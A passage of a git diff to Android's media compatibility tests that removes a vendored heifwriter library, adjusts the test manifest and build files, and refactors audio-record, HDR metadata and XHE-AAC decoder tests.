                     hasCarrierFrequency);
         }
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
deleted file mode 100644
index 6a14f54..0000000
--- a/tests/tests/media/Android.bp
+++ /dev/null
@@ -1,19 +0,0 @@
-android_library_import {
-    name: "cts.media.heifwriter_heifwriter-nodeps",
-    aars: ["androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar"],
-    sdk_version: "current",
-    static_libs: [
-        "androidx.annotation_annotation",
-    ],
-}
-
-android_library {
-    name: "cts.media.heifwriter_heifwriter",
-    sdk_version: "current",
-    manifest: "androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml",
-    static_libs: [
-        "cts.media.heifwriter_heifwriter-nodeps",
-        "androidx.annotation_annotation",
-    ],
-    java_version: "1.7",
-}
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index 4d2dd1b..21e819b 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -55,7 +55,7 @@
     testng \
     truth-prebuilt \
     mockito-target-minus-junit4 \
-    cts.media.heifwriter_heifwriter \
+    androidx.heifwriter_heifwriter \
     androidx.media_media \
 
 LOCAL_JNI_SHARED_LIBRARIES := \
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 8a26eea..4b3e7a0 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -30,7 +30,6 @@
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
     <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
     <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <application android:networkSecurityConfig="@xml/network_security_config">
         <uses-library android:name="android.test.runner" />
@@ -101,6 +100,20 @@
                 <action android:name="android.media.browse.MediaBrowserService" />
             </intent-filter>
         </service>
+        <!-- Keep the test services synced together with the TestUtils.java -->
+        <service android:name="android.media.cts.MockMediaSessionService2">
+            <intent-filter>
+                <action android:name="android.media.MediaSessionService2" />
+            </intent-filter>
+            <meta-data android:name="android.media.session" android:value="TestSession" />
+        </service>
+        <!-- Keep the test services synced together with the MockMediaLibraryService -->
+        <service android:name="android.media.cts.MockMediaLibraryService2">
+            <intent-filter>
+                <action android:name="android.media.MediaLibraryService2" />
+            </intent-filter>
+            <meta-data android:name="android.media.session" android:value="TestLibrary" />
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar
deleted file mode 100644
index ba23153..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.md5 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.md5
deleted file mode 100644
index 7974fb7..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.md5
+++ /dev/null
@@ -1 +0,0 @@
-b22ebfa81aaf0635a1158161daab3d32
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.sha1 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.sha1
deleted file mode 100644
index c14e6bd..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.sha1
+++ /dev/null
@@ -1 +0,0 @@
-29f53ab2d0443a199f0c077d5a50225230547d45
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar
deleted file mode 100644
index 77a2f0b..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.md5 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.md5
deleted file mode 100644
index 7cd202f..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.md5
+++ /dev/null
@@ -1 +0,0 @@
-0c3b5d9f55ed225b5fcb37fd9e35c482
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.sha1 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.sha1
deleted file mode 100644
index 8af5999..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.sha1
+++ /dev/null
@@ -1 +0,0 @@
-dd7b6a8217731139371044de6ccda9d2e16b549a
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom
deleted file mode 100644
index d40c50e..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns="http://maven.apache.org/POM/4.0.0"
-    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
-  <modelVersion>4.0.0</modelVersion>
-  <groupId>androidx.heifwriter</groupId>
-  <artifactId>heifwriter</artifactId>
-  <version>1.1.0-alpha01</version>
-  <packaging>aar</packaging>
-  <name>Android Support HeifWriter</name>
-  <description>Android Support HeifWriter for writing HEIF still images</description>
-  <url>http://developer.android.com/tools/extras/support-library.html</url>
-  <inceptionYear>2018</inceptionYear>
-  <licenses>
-    <license>
-      <name>The Apache Software License, Version 2.0</name>
-      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>
-      <distribution>repo</distribution>
-    </license>
-  </licenses>
-  <developers>
-    <developer>
-      <name>The Android Open Source Project</name>
-    </developer>
-  </developers>
-  <scm>
-    <connection>scm:git:https://android.googlesource.com/platform/frameworks/support</connection>
-    <url>http://source.android.com</url>
-  </scm>
-  <dependencies>
-    <dependency>
-      <groupId>androidx.annotation</groupId>
-      <artifactId>annotation</artifactId>
-      <version>1.1.0-rc01</version>
-      <scope>compile</scope>
-    </dependency>
-  </dependencies>
-</project>
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.md5 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.md5
deleted file mode 100644
index 92c07d9..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.md5
+++ /dev/null
@@ -1 +0,0 @@
-065f1c7a005103eba0e08aaba786983f
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.sha1 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.sha1
deleted file mode 100644
index aa073e3..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.sha1
+++ /dev/null
@@ -1 +0,0 @@
-4438d89cd1f26bee8fa983d9fcd2731f55838571
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 8ba815f..369020e4 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -174,12 +174,6 @@
 
     @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
     public void testMicrophoneMuteIntent() throws Exception {
-        // Skip this test for automotive.
-        // This tests listens for ACTION_MICROPHONE_MUTE_CHANGED which AudioService only broadcasts
-        // to system user. Automotive devices, which runs in secondary user, will fail this test.
-        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            return;
-        }
         final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver();
         final boolean initialMicMute = mAudioManager.isMicrophoneMute();
         try {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 88c5c3a..089f914 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -37,9 +37,7 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.Message;
-import android.os.Process;
 import android.os.SystemClock;
-import android.os.UserManager;
 import android.platform.test.annotations.Presubmit;
 import android.util.Log;
 
@@ -1494,55 +1492,24 @@
     }
 
     private static void makeMyUidStateActive() throws IOException {
-        String command = String.format("cmd media.audio_policy set-uid-state %s active",
-                getContext().getPackageName());
-
-        if (!isSystemUser()) {
-            // --user parameter is not supported on all devices - only those that will run CTS in
-            // secondary users.
-            // For System User - Command defaults to system user, no need to explicitly specify.
-            // For Secondary User - Have to specify the user explicitly, otherwise the test fails.
-            command += " --user " + Process.myUserHandle().getIdentifier();
-        }
-
+        final String command = "cmd media.audio_policy set-uid-state "
+                + InstrumentationRegistry.getTargetContext().getPackageName() + " active";
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
     }
 
     private static void makeMyUidStateIdle() throws IOException {
-        String command = String.format("cmd media.audio_policy set-uid-state %s idle",
-                getContext().getPackageName());
-
-        if (!isSystemUser()) {
-            // --user parameter is not supported on all devices - only those that will run CTS in
-            // secondary users.
-            // For System User - Command defaults to system user, no need to explicitly specify.
-            // For Secondary User - Have to specify the user explicitly, otherwise the test fails.
-            command += " --user " + Process.myUserHandle().getIdentifier();
-        }
-
+        final String command = "cmd media.audio_policy set-uid-state "
+                + InstrumentationRegistry.getTargetContext().getPackageName() + " idle";
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
     }
 
     private static void resetMyUidState() throws IOException {
-        String command = "cmd media.audio_policy reset-uid-state "
-                + getContext().getPackageName();
-
-        if (!isSystemUser()) {
-            // --user parameter is not supported on all devices - only those that will run CTS in
-            // secondary users.
-            // For System User - Command defaults to system user, no need to explicitly specify.
-            // For Secondary User - Have to specify the user explicitly, otherwise the test fails.
-            command += " --user " + Process.myUserHandle().getIdentifier();
-        }
-
+        final String command = "cmd media.audio_policy reset-uid-state "
+                +  InstrumentationRegistry.getTargetContext().getPackageName();
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
     }
 
     private static Context getContext() {
         return InstrumentationRegistry.getInstrumentation().getTargetContext();
     }
-
-    private static boolean isSystemUser() {
-        return getContext().getSystemService(UserManager.class).isSystemUser();
-    }
 }
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 6192c0f..022b853 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -702,10 +702,10 @@
 
     public void testVp9HdrStaticMetadata() throws Exception {
         final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42 " +
-                "40 e8 03 64 00 e8 03 2c  01                      " ;
+                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+                "40 e8 03 64 00 e8 03 2c  01                     " ;
         testHdrStaticMetadata(R.raw.video_1280x720_vp9_hdr_static_3mbps,
-                staticInfo, true /*metadataInContainer*/, "testVp9HdrStaticMetadata");
+                staticInfo, true /*metadataInContainer*/);
     }
 
     public void testH265HDR10StaticMetadata() throws Exception {
@@ -716,14 +716,13 @@
         // Media frameworks puts the display primaries in RGB order, here we verify the three
         // primaries are indeed in this order and fail otherwise.
         final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42 " +
-                "40 e8 03 00 00 e8 03 90  01                      " ;
+                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+                "40 e8 03 00 00 e8 03 90  01                     " ;
         testHdrStaticMetadata(R.raw.video_1280x720_hevc_hdr10_static_3mbps,
-                staticInfo, false /*metadataInContainer*/, "testH265HDR10StaticMetadata");
+                staticInfo, false /*metadataInContainer*/);
     }
 
-    private void testHdrStaticMetadata(
-            int res, String pattern, boolean metadataInContainer, String testName)
+    private void testHdrStaticMetadata(int res, String pattern, boolean metadataInContainer)
             throws Exception {
         AssetFileDescriptor infd = null;
         MediaExtractor extractor = null;
@@ -747,8 +746,7 @@
             assertTrue("Extractor failed to extract video track",
                     format != null && trackIndex >= 0);
             if (metadataInContainer) {
-                verifyHdrStaticInfo("Extractor failed to extract static info",
-                        format, pattern, metadataInContainer, testName);
+                verifyHdrStaticInfo("Extractor failed to extract static info", format, pattern);
             }
 
             extractor.selectTrack(trackIndex);
@@ -800,7 +798,7 @@
 
                         codec.releaseOutputBuffer(index,  false);
                         verifyHdrStaticInfo("Output buffer has wrong static info",
-                                bufferFormat, pattern, metadataInContainer, testName);
+                                bufferFormat, pattern);
                         mOutputReceived = true;
                         latch.countDown();
                     }
@@ -836,7 +834,7 @@
                     public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
                         Log.i(TAG, "got output format: " + format);
                         verifyHdrStaticInfo("Output format has wrong static info",
-                                format, pattern, metadataInContainer, testName);
+                                format, pattern);
                     }
                 });
                 decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
@@ -859,32 +857,13 @@
         }
     }
 
-    private void verifyHdrStaticInfo(
-            String reason, MediaFormat format, String pattern,
-            boolean failOnMismatch, String testName) {
+    private void verifyHdrStaticInfo(String reason, MediaFormat format, String pattern) {
         ByteBuffer staticMetadataBuffer = format.containsKey("hdr-static-info") ?
                 format.getByteBuffer("hdr-static-info") : null;
         assertTrue(reason + ": empty",
                 staticMetadataBuffer != null && staticMetadataBuffer.remaining() > 0);
-
-        if (!Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array())) {
-            // log mismatch
-            DeviceReportLog log = new DeviceReportLog("CtsMediaTestCases", testName);
-
-            log.addValue("reason", reason + ": mismatch", ResultType.NEUTRAL, ResultUnit.NONE);
-            StringBuilder sb = new StringBuilder();
-            for (byte b : staticMetadataBuffer.array()) {
-                sb.append(String.format("%02X ", b));
-            }
-            log.addValue("metadata_actual", sb.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("metadata_expected", pattern, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.setSummary("result", 0, ResultType.HIGHER_BETTER, ResultUnit.COUNT);
-            log.submit(getInstrumentation());
-
-            if (failOnMismatch) {
-                fail(reason + ": mismatch");
-            }
-        }
+        assertTrue(reason + ": mismatch",
+                Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array()));
     }
 
     // helper to load byte[] from a String
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index a4b8e4e..c250fa2 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -92,116 +92,124 @@
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
         for (String aacDecName : sAacDecoderNames) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
-            // test DRC effectTypeID 1 "NIGHT"
-            // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-            // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
             try {
-                checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
-                throw new RuntimeException(e);
+                runDecodeUsacDrcEffectTypeM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
             }
+        }
+    }
 
-            // test DRC effectTypeID 2 "NOISY"
-            // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
-            // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            try {
-                checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+    private void runDecodeUsacDrcEffectTypeM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
+        // test DRC effectTypeID 1 "NIGHT"
+        // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+        // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+        try {
+            checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        } 
 
-            // test DRC effectTypeID 3 "LIMITED"
-            // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-            try {
-                checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 2 "NOISY"
+        // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+        // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        try {
+            checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 6 "GENERAL"
-            // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-            // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-            try {
-                checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 3 "LIMITED"
+        // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        try {
+            checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 1 "NIGHT"
-            // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-            // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            try {
-                checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+        try {
+            checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 2 "NOISY"
-            // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-            // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
-            // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-            try {
-                checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 1 "NIGHT"
+        // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        try {
+            checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 3 "LIMITED"
-            // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-            // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-            // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-            try {
-                checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 2 "NOISY"
+        // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+        // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
+        // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+        try {
+            checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 6 "GENERAL"
-            // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-            // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
-            // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-            try {
-                checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 3 "LIMITED"
+        // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+        // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+        try {
+            checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 6 "GENERAL"
+        // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
+        // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        try {
+            checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
         }
     }
 
@@ -215,52 +223,61 @@
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
         for (String aacDecName : sAacDecoderNames) {
-            // Stereo
-            // switch between SBR ratios and stereo modes
             try {
-                checkUsacStreamSwitching(2.5459829E12f, 2,
-                        R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // Mono
-            // switch between SBR ratios and stereo modes
-            try {
-                checkUsacStreamSwitching(2.24669126E12f, 1,
-                        R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // Stereo
-            // switch between USAC modes
-            try {
-                checkUsacStreamSwitching(2.1E12f, 2,
-                        R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // Mono
-            // switch between USAC modes
-            try {
-                checkUsacStreamSwitching(1.7E12f, 1,
-                        R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
+                runDecodeUsacStreamSwitchingM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
             }
         }
     }
 
+    private void runDecodeUsacStreamSwitchingM4a(String aacDecName) throws Exception {
+        // Stereo
+        // switch between SBR ratios and stereo modes
+        try {
+            checkUsacStreamSwitching(2.5459829E12f, 2,
+                    R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Mono
+        // switch between SBR ratios and stereo modes
+        try {
+            checkUsacStreamSwitching(2.24669126E12f, 1,
+                    R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Stereo
+        // switch between USAC modes
+        try {
